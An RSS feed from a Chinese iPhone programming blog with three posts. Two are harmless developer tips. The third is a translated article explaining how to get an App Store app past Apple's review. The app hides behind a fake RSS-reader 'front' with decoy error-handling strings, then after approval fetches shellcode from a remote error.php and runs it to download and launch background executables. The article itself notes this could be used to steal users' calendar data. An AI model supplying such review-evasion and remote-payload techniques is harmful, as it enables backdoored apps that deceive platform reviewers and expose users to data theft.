<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>iPhoneGeek 爱疯极客 &#187; 后台程序</title>
	<atom:link href="http://www.iphone-geek.cn/tag/%e5%90%8e%e5%8f%b0%e7%a8%8b%e5%ba%8f/feed" rel="self" type="application/rss+xml" />
	<link>http://www.iphone-geek.cn</link>
	<description>iPhone 新闻，编程，技巧与提示，代码，教程</description>
	<lastBuildDate>Thu, 08 Dec 2011 01:18:52 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>怎样关闭后台运行</title>
		<link>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/%e6%80%8e%e6%a0%b7%e5%85%b3%e9%97%ad%e5%90%8e%e5%8f%b0%e8%bf%90%e8%a1%8c</link>
		<comments>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/%e6%80%8e%e6%a0%b7%e5%85%b3%e9%97%ad%e5%90%8e%e5%8f%b0%e8%bf%90%e8%a1%8c#comments</comments>
		<pubDate>Fri, 25 Mar 2011 00:15:47 +0000</pubDate>
		<dc:creator>bagusflyer</dc:creator>
				<category><![CDATA[基础]]></category>
		<category><![CDATA[编程]]></category>
		<category><![CDATA[后台程序]]></category>
		<category><![CDATA[提示与技巧]]></category>

		<guid isPermaLink="false">http://www.iphone-geek.cn/?p=1148</guid>
		<description><![CDATA[iOS 4引进了所谓多任务，可以让程序运行于后台，不过对目前大部分程序而言这只是一个鸡肋。有没有办法直接在用户按下Home键后像iOS 4之前的程序一样直接退出呢？方法如下：

打开info.plist
加入 UIApplicationExitsOnSuspend 或者选择“Application does not run in background（程序不运行于后台）”
将其设为 YES

]]></description>
			<content:encoded><![CDATA[<p>iOS 4引进了所谓多任务，可以让程序运行于后台，不过对目前大部分程序而言这只是一个鸡肋。有没有办法直接在用户按下Home键后像iOS 4之前的程序一样直接退出呢？方法如下：</p>
<ol>
<li>打开info.plist</li>
<li>加入 <strong>UIApplicationExitsOnSuspend</strong> 或者选择“Application does not run in background（程序不运行于后台）”</li>
<li>将其设为 YES</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/%e6%80%8e%e6%a0%b7%e5%85%b3%e9%97%ad%e5%90%8e%e5%8f%b0%e8%bf%90%e8%a1%8c/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>都是Backgrounder惹的祸 &#8211; 解决“越狱”真机调试的问题</title>
		<link>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/%e9%83%bd%e6%98%afbackgrounder%e6%83%b9%e7%9a%84%e7%a5%b8-%e8%a7%a3%e5%86%b3%e2%80%9c%e8%b6%8a%e7%8b%b1%e2%80%9d%e7%9c%9f%e6%9c%ba%e8%b0%83%e8%af%95%e7%9a%84%e9%97%ae%e9%a2%98</link>
		<comments>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/%e9%83%bd%e6%98%afbackgrounder%e6%83%b9%e7%9a%84%e7%a5%b8-%e8%a7%a3%e5%86%b3%e2%80%9c%e8%b6%8a%e7%8b%b1%e2%80%9d%e7%9c%9f%e6%9c%ba%e8%b0%83%e8%af%95%e7%9a%84%e9%97%ae%e9%a2%98#comments</comments>
		<pubDate>Sun, 08 Aug 2010 05:07:22 +0000</pubDate>
		<dc:creator>bagusflyer</dc:creator>
				<category><![CDATA[编程]]></category>
		<category><![CDATA[调试]]></category>
		<category><![CDATA[Xcode]]></category>
		<category><![CDATA[后台程序]]></category>

		<guid isPermaLink="false">http://www.iphone-geek.cn/?p=1038</guid>
		<description><![CDATA[我的iPhone越狱后，在用Xcode进行调试时出现以下错误信息：

warning: Unable to read symbols for &#8220;/Library/MobileSubstrate/DynamicLibraryies/libstatusbar.dylib” (file not found).
Program received singal: &#8220;SIGUSR1&#8243;.

上网查了一下原来是Backgrounder在作怪，最简单的解决方法就是在Backgournder的overrides设定中，禁止要调试的程序以background模式运行即可。

想要知道具体原因，请参见：Backgrounder vs. Build and Run
]]></description>
			<content:encoded><![CDATA[<p>我的iPhone越狱后，在用Xcode进行调试时出现以下错误信息：<br />
<br class="spacer_" /><br />
warning: Unable to read symbols for &#8220;/Library/MobileSubstrate/DynamicLibraryies/libstatusbar.dylib” (file not found).</p>
<p>Program received singal: &#8220;SIGUSR1&#8243;.<br />
<br class="spacer_" /><br />
上网查了一下原来是Backgrounder在作怪，最简单的解决方法就是在Backgournder的overrides设定中，禁止要调试的程序以background模式运行即可。<br />
<br class="spacer_" /><br />
想要知道具体原因，请参见：<a title="Backgrounder vs. Build and Run" href="http://www.alexwhittemore.com/?p=412">Backgrounder vs. Build and Run</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/%e9%83%bd%e6%98%afbackgrounder%e6%83%b9%e7%9a%84%e7%a5%b8-%e8%a7%a3%e5%86%b3%e2%80%9c%e8%b6%8a%e7%8b%b1%e2%80%9d%e7%9c%9f%e6%9c%ba%e8%b0%83%e8%af%95%e7%9a%84%e9%97%ae%e9%a2%98/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>不需要越狱或Push运行iPhone后台程序</title>
		<link>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/%e4%b8%8d%e9%9c%80%e8%a6%81%e8%b6%8a%e7%8b%b1%e6%88%96push%e8%bf%90%e8%a1%8ciphone%e5%90%8e%e5%8f%b0%e7%a8%8b%e5%ba%8f</link>
		<comments>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/%e4%b8%8d%e9%9c%80%e8%a6%81%e8%b6%8a%e7%8b%b1%e6%88%96push%e8%bf%90%e8%a1%8ciphone%e5%90%8e%e5%8f%b0%e7%a8%8b%e5%ba%8f#comments</comments>
		<pubDate>Thu, 17 Dec 2009 05:37:30 +0000</pubDate>
		<dc:creator>bagusflyer</dc:creator>
				<category><![CDATA[编程]]></category>
		<category><![CDATA[后台程序]]></category>
		<category><![CDATA[教程]]></category>
		<category><![CDATA[代码片段]]></category>

		<guid isPermaLink="false">http://www.iphone-geek.cn/?p=410</guid>
		<description><![CDATA[（译者注：虽然不提倡本文的方法，但还是向此文作者的创造性致敬！）
&#160;
有一种试验性的方法实现iPhone上运行后台程序/守护进程。到目前为止，iPhone SDK 并不允许在iPhone OS上（其本身是基于 Darwin Unix的）开发“真正的” Unix方式的后台进程（守护进程）。
&#160;
本方法涉及了一些高级编程课题，例如 shellcode，因此要求一些基本的汇编经验，Unix系统调用以及最好具有一些ARM 经验。
&#160;

法律声明
&#160;
这只是一种理论，仅用于试验目的 &#8211; 不要在实际程序中使用此方法除非你有足够的钱请律师或者准备藐视Apple的版权。我不会对任何违反法律的行为负责。
&#160;
如果你不知道你在做什么，那么不要做。
&#160;
概述
&#160;
好了。在读了我的声明后，让我们开始讨论究竟要怎样实现这个目标，我们遇到的困难是：
&#160;

编写一个iPhone上的后台程序/守护进程
通过代码迷惑技术避免被Apple检测到
发布程序到app store
…避免被诉讼

&#160;
避免被抓
&#160;
在基于Unix的操作系统上运行后台进程不是件很困难的事情，但是在Apple所钟爱的（完全被锁定）的iPhone OS（未越狱的）上如果没有采用一些代码迷惑技术则很不简单。
&#160;
但是，正所谓有志者事竟成。
&#160;
基本示例
&#160;
比如说我们需要一个后台程序（示例而已）在每个小时甚至在其他前台程序运行的情况下记录时间和日期到一个文件。由于我缺乏命名的创造性，我姑且称之为“Logger”。
&#160;
此程序的目的是在后台运行并记录到一个文本文件，假设文本文件存储在默认的Logger.app目录下。但是Apple并不认同程序在后台运行，所以我们要发挥一下创造性。
&#160;
我们知道我们要做什么，但是我们不想Apple知道我们要做什么。所以在进一步前，我们要讨论一下Apple是怎样审查程序的。
&#160;
熟悉Apple在做什么
&#160;
当你通过iTunes上传你的程序到Apple后，它就处于“被审查”状态，Apple开始“肢解”你的程序。
&#160;
我指的是反汇编， I/O监视, CPU 使用检测以及详细的网络分析。他们将知道你程序所有的Darwin/Mach系统调用以及这些调用后的条件逻辑。
&#160;
(有关与iPhone SDK 和 Objective-C 运行时比较的详细框图，请参见此文 ，它介绍了iPhone结构的详细概况。）
&#160;
所以将守护进程所需的后台代码放入你的程序去接受审核并不是一个聪明的方法。系统调用及代码的本性一定会在审核时举红旗，他们将不会批准你的程序。
&#160;
但是，使用一个小小的诡计可以让你的程序通过Apple的“合法”审核，而我们在程序批准后实现需要的工作。
&#160;
前台掩护
&#160;
如果我们只是提交只有一个循环而没有任何功能的程序，毫无异议它看上去就像一个守护进程，即使是世界上最好的代码迷惑技术也无法隐藏我们究竟在做什么。
&#160;
另外，它并不是一个“真正”的后台进程，因为最终当你按下菜单按钮（译者注：Home按钮）时出现会终止（有效地终止其执行和子进程）。
&#160;
所以，我们引进一个“前台掩护”。看过“教父”或其他类似的黑手党电影？“前台掩护”就是那些看上去合法，为赌博或酒精欺诈洗钱的小生意。这与我们的程序一样，它隐藏了后台正在进行的工作。
&#160;
我们的“前台掩护”是一个网络浏览和RSS feed客户程序。我们将使我们的程序显示来自于RSS feed链接的简单的web view，；另外显示一些标志使其看上去合法。简单吗？
&#160;
切换
&#160;
所以我们的程序现在看上去是一个简单的RSS客户程序，它将通过我们网站的新闻供应站打开网络浏览。它确实是这么做的直到我们“切换”到我们真正要做的事情。
&#160;
此方法的“触发”十分简单：在RSS客户程序中加入一个条件如下：
123456if &#40;RSS feed is a redirect to /error.php&#41; &#123; // error.php is our remote and malicious script
NSString *fake = &#91;NSString initWithString:@&#34;There's an error&#34;&#93;; // Unused; Look genuine to Apple
// code to make [...]]]></description>
			<content:encoded><![CDATA[<p>（译者注：虽然不提倡本文的方法，但还是向此文作者的创造性致敬！）</p>
<p>&nbsp;</p>
<p>有一种试验性的方法实现<strong>iPhone上运行后台程序/守护进程。</strong>到目前为止，<strong>iPhone SDK</strong> 并不允许在iPhone OS上（<strong><a title="iPhone OS firmware is Unix" href="http://thecoffeedesk.com/news/index.php/2009/07/20/iphone-firmware-definition/">其本身是基于 Darwin Unix的</a></strong>）开发“真正的” Unix方式的后台进程（守护进程）。</p>
<p>&nbsp;</p>
<p>本方法涉及了一些<strong>高级编程课题，</strong>例如 <strong>shellcode，</strong>因此要求一些基本的汇编经验，<strong>Unix系统调用</strong>以及最好具有一些<strong>ARM</strong> 经验。</p>
<p>&nbsp;</p>
<p><span id="more-410"></span></p>
<h2><strong>法律声明</strong></h2>
<p>&nbsp;</p>
<p>这只是一种理论，仅用于试验目的 &#8211; 不要在实际程序中使用此方法除非你有足够的钱请律师或者准备藐视Apple的版权。我不会对任何违反法律的行为负责。</p>
<p>&nbsp;</p>
<p><em>如果你不知道你在做什么，那么不要做。</em></p>
<p>&nbsp;</p>
<h2><strong>概述</strong></h2>
<p>&nbsp;</p>
<p>好了。在读了我的声明后，让我们开始讨论究竟要怎样实现这个目标，我们遇到的困难是：</p>
<p>&nbsp;</p>
<ul>
<li><strong>编写一个iPhone上的后台程序/守护进程</strong></li>
<li><strong>通过代码迷惑技术避免被Apple检测到</strong></li>
<li><strong>发布程序到app store</strong></li>
<li><strong>…避免被诉讼</strong></li>
</ul>
<p>&nbsp;</p>
<h2><strong>避免被抓</strong></h2>
<p>&nbsp;</p>
<p>在基于Unix的操作系统上运行后台进程不是件很困难的事情，但是在Apple所钟爱的（完全被锁定）的iPhone OS（未越狱的）上如果没有采用一些代码迷惑技术则很不简单。</p>
<p>&nbsp;</p>
<p>但是，正所谓有志者事竟成。</p>
<p>&nbsp;</p>
<h2><strong>基本示例</strong></h2>
<p>&nbsp;</p>
<p>比如说我们需要一个后台程序（示例而已）在每个小时甚至在其他前台程序运行的情况下记录时间和日期到一个文件。由于我缺乏命名的创造性，我姑且称之为“Logger”。</p>
<p>&nbsp;</p>
<p>此程序的目的是在后台运行并记录到一个文本文件，假设文本文件存储在默认的Logger.app目录下。但是Apple并不认同程序在后台运行，所以我们要发挥一下创造性。</p>
<p>&nbsp;</p>
<p>我们知道我们要做什么，但是我们不想Apple知道我们要做什么。所以在进一步前，我们要讨论一下Apple是怎样审查程序的。</p>
<p>&nbsp;</p>
<h2><strong>熟悉Apple在做什么</strong></h2>
<p>&nbsp;</p>
<p>当你通过iTunes上传你的程序到Apple后，它就处于“被审查”状态，Apple开始“肢解”你的程序。</p>
<p>&nbsp;</p>
<p>我指的是反汇编， I/O监视, CPU 使用检测以及详细的网络分析。他们将知道你程序所有的Darwin/Mach系统调用以及这些调用后的条件逻辑。</p>
<p>&nbsp;</p>
<p>(有关与iPhone SDK 和 Objective-C 运行时比较的详细框图，请参见<strong><a title="iPhone OS Architecture" href="http://thecoffeedesk.com/news/index.php/2009/05/17/iphone-architecture/">此文</a></strong> ，它介绍了iPhone结构的详细概况。）</p>
<p>&nbsp;</p>
<p>所以将守护进程所需的后台代码放入你的程序去接受审核并不是一个聪明的方法。系统调用及代码的本性一定会在审核时举红旗，他们将不会批准你的程序。</p>
<p>&nbsp;</p>
<p>但是，使用一个小小的诡计可以让你的程序通过Apple的“合法”审核，而我们在程序批准后实现需要的工作。</p>
<p>&nbsp;</p>
<h2><strong>前台掩护</strong></h2>
<p>&nbsp;</p>
<p>如果我们只是提交只有一个循环而没有任何功能的程序，毫无异议它看上去就像一个守护进程，即使是世界上最好的代码迷惑技术也无法隐藏我们究竟在做什么。</p>
<p>&nbsp;</p>
<p>另外，它并不是一个“真正”的后台进程，因为最终当你按下菜单按钮（译者注：Home按钮）时出现会终止（有效地终止其执行和子进程）。</p>
<p>&nbsp;</p>
<p>所以，我们引进一个“前台掩护”。看过“教父”或其他类似的黑手党电影？“前台掩护”就是那些看上去合法，为赌博或酒精欺诈洗钱的小生意。这与我们的程序一样，它隐藏了后台正在进行的工作。</p>
<p>&nbsp;</p>
<p>我们的“前台掩护”是一个网络浏览和RSS feed客户程序。我们将使我们的程序显示来自于RSS feed链接的简单的web view，；另外显示一些标志使其看上去合法。简单吗？</p>
<p>&nbsp;</p>
<h2><strong>切换</strong></h2>
<p>&nbsp;</p>
<p>所以我们的程序现在看上去是一个简单的RSS客户程序，它将通过我们网站的新闻供应站打开网络浏览。它确实是这么做的直到我们“切换”到我们真正要做的事情。</p>
<p>&nbsp;</p>
<p>此方法的“触发”十分简单：在RSS客户程序中加入一个条件如下：</p>
<div class="codecolorer-container objc mac-classic" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br /></div></td><td><div class="objc codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #a61390;">if</span> <span style="color: #002200;">&#40;</span>RSS feed is a redirect to <span style="color: #002200;">/</span>error.php<span style="color: #002200;">&#41;</span> <span style="color: #002200;">&#123;</span> <span style="color: #11740a; font-style: italic;">// error.php is our remote and malicious script</span><br />
<a href="http://developer.apple.com/documentation/Cocoa/Reference/Foundation/Classes/NSString_Class/"><span style="color: #400080;">NSString</span></a> <span style="color: #002200;">*</span>fake <span style="color: #002200;">=</span> <span style="color: #002200;">&#91;</span><a href="http://developer.apple.com/documentation/Cocoa/Reference/Foundation/Classes/NSString_Class/"><span style="color: #400080;">NSString</span></a> initWithString<span style="color: #002200;">:</span><span style="color: #bf1d1a;">@</span><span style="color: #bf1d1a;">&quot;There's an error&quot;</span><span style="color: #002200;">&#93;</span>; <span style="color: #11740a; font-style: italic;">// Unused; Look genuine to Apple</span><br />
<span style="color: #11740a; font-style: italic;">// code to make the switch, detailed below</span><br />
<span style="color: #a61390;">return</span>;<br />
<span style="color: #002200;">&#125;</span><br />
<span style="color: #11740a; font-style: italic;">// &quot;else&quot; continue happily as the simpleton RSS/UIWebView app</span></div></td></tr></tbody></table></div>
<p>&nbsp;</p>
<p>此代码的目的是：在Apple批准我们的简单RSS客户程序发布到app store后，我们可以手工重定向RSS feed到/error.php，这将使条件满足开始切换。</p>
<p>&nbsp;</p>
<p>省略 <strong>else</strong> 使得条件满足时进行切换时不那么明显，<em>return</em> 语句与<em>else</em> 一样(在汇编层进行代码迷惑)。</p>
<p>&nbsp;</p>
<p>未使用的 NSString 在Apple进行审核时使得我们的程序看上去在进行错误处理。</p>
<p>&nbsp;</p>
<p>我们是这样进行功能强大的“切换”? 这是具有欺骗性的部分…</p>
<p>&nbsp;</p>
<h2><strong>实现切换</strong></h2>
<p>&nbsp;</p>
<p>将一个“傻瓜”RSS阅读器切换为Unix守护进程的初始化要骗过Apple不是件容易的事情，所以我们必须具有真正的创造性。解决方法是<strong><a title="Wikipedia: Shellcode" rel="nofollow" href="http://en.wikipedia.org/wiki/Shellcode" target="_blank">Shellcode</a></strong>，它是一套植入“只读”缓存执行的可执行 (ARM) 作业码。</p>
<p>&nbsp;</p>
<p>参见 <strong><a title="Shellcode paper" href="http://www.milw0rm.com/papers/51" target="_blank">此论文</a></strong> 重温一下shellcode的实现。 指南中的作业码是用于x86的，但是交叉编译可以很容易地运用到ARM可执行代码的开发。</p>
<p>&nbsp;</p>
<p>所以使我们的 /error.php 网页返回 ARM 作业码，并“意外地” 在iPhone上运行:</p>
<div class="codecolorer-container objc mac-classic" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br /></div></td><td><div class="objc codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #11740a; font-style: italic;">// beginning where we left off...</span><br />
<span style="color: #a61390;">if</span> <span style="color: #002200;">&#40;</span>RSS feed is a redirect to <span style="color: #002200;">/</span>error.php<span style="color: #002200;">&#41;</span> <span style="color: #002200;">&#123;</span><br />
<a href="http://developer.apple.com/documentation/Cocoa/Reference/Foundation/Classes/NSString_Class/"><span style="color: #400080;">NSString</span></a> <span style="color: #002200;">*</span>fake <span style="color: #002200;">=</span> <span style="color: #002200;">&#91;</span><a href="http://developer.apple.com/documentation/Cocoa/Reference/Foundation/Classes/NSString_Class/"><span style="color: #400080;">NSString</span></a> initWithString<span style="color: #002200;">:</span><span style="color: #bf1d1a;">@</span><span style="color: #bf1d1a;">&quot;There's an error&quot;</span><span style="color: #002200;">&#93;</span>; <span style="color: #11740a; font-style: italic;">// Unused; Look genuine to Apple</span><br />
<span style="color: #11740a; font-style: italic;">// switch code:</span><br />
<span style="color: #a61390;">char</span> exe<span style="color: #002200;">&#91;</span>1<span style="color: #002200;">&#93;</span><span style="color: #002200;">&#91;</span>BUF<span style="color: #002200;">&#93;</span>; <span style="color: #11740a; font-style: italic;">// Array of C-strings, each of size BUF (defined elsewhere)</span><br />
exe<span style="color: #002200;">&#91;</span><span style="color: #2400d9;">0</span><span style="color: #002200;">&#93;</span> <span style="color: #002200;">=</span> http_read<span style="color: #002200;">&#40;</span><span style="color: #bf1d1a;">'site.com/error.php'</span><span style="color: #002200;">&#41;</span>; <span style="color: #11740a; font-style: italic;">// more on this below</span><br />
<span style="color: #11740a; font-style: italic;">/* appear to do something with exe[0], then: */</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #a61390;">int</span> <span style="color: #002200;">&#40;</span><span style="color: #002200;">*</span>sh<span style="color: #002200;">&#41;</span><span style="color: #002200;">&#40;</span><span style="color: #002200;">&#41;</span>; <span style="color: #11740a; font-style: italic;">// setup shellcode function pointer</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; ret <span style="color: #002200;">=</span> <span style="color: #002200;">&#40;</span>sh<span style="color: #002200;">&#40;</span><span style="color: #002200;">*</span><span style="color: #002200;">&#41;</span><span style="color: #002200;">&#40;</span><span style="color: #002200;">&#41;</span><span style="color: #002200;">&#41;</span>exe<span style="color: #002200;">&#91;</span>1<span style="color: #002200;">&#93;</span>; <span style="color: #11740a; font-style: italic;">// *oops*</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #002200;">&#40;</span><span style="color: #a61390;">int</span><span style="color: #002200;">&#41;</span><span style="color: #002200;">&#40;</span><span style="color: #002200;">*</span>ret<span style="color: #002200;">&#41;</span><span style="color: #002200;">&#40;</span><span style="color: #002200;">&#41;</span>; <span style="color: #11740a; font-style: italic;">// could even be obfuscated even further; details below</span><br />
<span style="color: #a61390;">return</span>;<br />
<span style="color: #002200;">&#125;</span></div></td></tr></tbody></table></div>
<p>&nbsp;</p>
<p>以上是从php脚本error.php获取执行代码的未采用代码迷惑的版本。：</p>
<p>&nbsp;</p>
<p>所以 error.php 在程序审查时未发布到app store前是合法的，并未改变为“恶毒”代码，程序未加密地读取字节到缓存中。for循环填充exe[0]，然后exe[1]获取运行在设备上的“负载”代码。</p>
<p>&nbsp;</p>
<p>这可以是shell脚本，即守护进程本身，或者是实际进程的下载器（下面将介绍）。</p>
<p>&nbsp;</p>
<h2><strong>汇总</strong></h2>
<p>&nbsp;</p>
<p>此程序发布为一个通用RSS 和 UIWebView 客户程序，但在app store批准后，在远程服务器端进行的修改（重定位RSS feed到新的/error.php) 使得 iPhone程序可以通过迷惑shellcode代码以及一个“意外的”缓存溢出执行任何你希望的代码。</p>
<p>&nbsp;</p>
<p>我上面提供的C代码并不具有足够的迷惑性，很有可能在审核时会不能通过。故意使用非安全sprintf（）函数误用或混用合法或非法函数指针使得你的代码更加迷惑性。</p>
<p>&nbsp;</p>
<p>另外，如果植入**exe字符串到最终可执行代码的只读栈区，你可能会需要进行些手工汇编编辑和链接。</p>
<p>&nbsp;</p>
<h2><strong>Shellcode内容<br />
</strong></h2>
<p>&nbsp;</p>
<p>至于shellcode本身，我推荐：让 error.php 提供`wget ` and `exec()`shellcode，文件部分是你希望运行在后台的预先编译好的ARM可执行码。</p>
<p>&nbsp;</p>
<p>此方法必须在你的程序中使用守护进程代码（Apple可见），并允许一种更隐秘的方法运行你希望的作业。</p>
<p>&nbsp;</p>
<p>以我们的“Logger”为例，shellcode将下载一段预先编译的ARM码， 从error.php下载的shellcode的伪码如下：</p>
<div class="codecolorer-container cpp mac-classic" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br /></div></td><td><div class="cpp codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span>the ARM executable is already present<span style="color: #008000;">&#41;</span><span style="color: #008080;">:</span><br />
execute it <span style="color: #666666;">// system(&quot;./logger &amp;&quot;); &lt;- the '&amp;' is bourne for &quot;background&quot;</span><br />
<span style="color: #0000ff;">else</span><span style="color: #008080;">:</span><br />
download the logger executable from the server and execute it in the background</div></td></tr></tbody></table></div>
<p>&nbsp;</p>
<p>更好的是，稍晚一些修改error.php中的shellcode。避过两个星期app store更新审核。</p>
<p>&nbsp;</p>
<h2><strong>最后的注意事项</strong></h2>
<p>&nbsp;</p>
<p>这是一种很“黑客式”的方法 <strong>以在不越狱的情况下在iPhone上运行任何代码（甚至发布到app store）。</strong></p>
<p>&nbsp;</p>
<p>请记住：一个很好的“前台掩护”使Apple认为它确实是一个合法程序，尽可能地隐藏你的目的。提供真实的字符串使其看上去确实像“错误处理”。</p>
<p>&nbsp;</p>
<p><strong>安全专家读到此文可能会想死。</strong> 本文详细地介绍了怎样在iPhone的后台运行你希望的代码，甚至通过app store。</p>
<p>&nbsp;</p>
<p>所以如果Johhny Blackhat想获取你的iCal内容，他只需发布一个免费游戏到app store，而在你玩游戏时通过其shellcode获取信息。</p>
<p>&nbsp;</p>
<p>我一点也不会怀疑我不是第一个想到此方法的人，或许有人已经在运用了。</p>
<p>&nbsp;</p>
<p>最重要的一点是具有通过远程改变而改变整个程序的执行的能力。这是使程序中审核时看上去是合法的关键，一旦通过审核发布在App Store后，你就可以为所欲为了。</p>
<p>&nbsp;</p>
<p>由于App Store中的程序太多，Apple不可能有时间检查每个程序的合法性。</p>
<p>&nbsp;</p>
<p>记住：我将向第一个实现并发布实现方法的人致敬，但我不会为怎样使用或误用负责。<img src="http://thecoffeedesk.com/news/wp-includes/images/smilies/icon_wink.gif" alt=";)" /></p>
<p>&nbsp;</p>
<h5>原文见：<a title="iPhone Background Apps Without Jailbreaking Or Push" rel="bookmark" href="http://thecoffeedesk.com/news/index.php/2009/08/06/iphone-daemon/">iPhone Background Apps Without Jailbreaking Or Push</a> 作者：<a title="Posts by Anthony" href="http://thecoffeedesk.com/news/index.php/author/anthony/">Anthony</a></h5>
<p><span> </span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/%e4%b8%8d%e9%9c%80%e8%a6%81%e8%b6%8a%e7%8b%b1%e6%88%96push%e8%bf%90%e8%a1%8ciphone%e5%90%8e%e5%8f%b0%e7%a8%8b%e5%ba%8f/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>

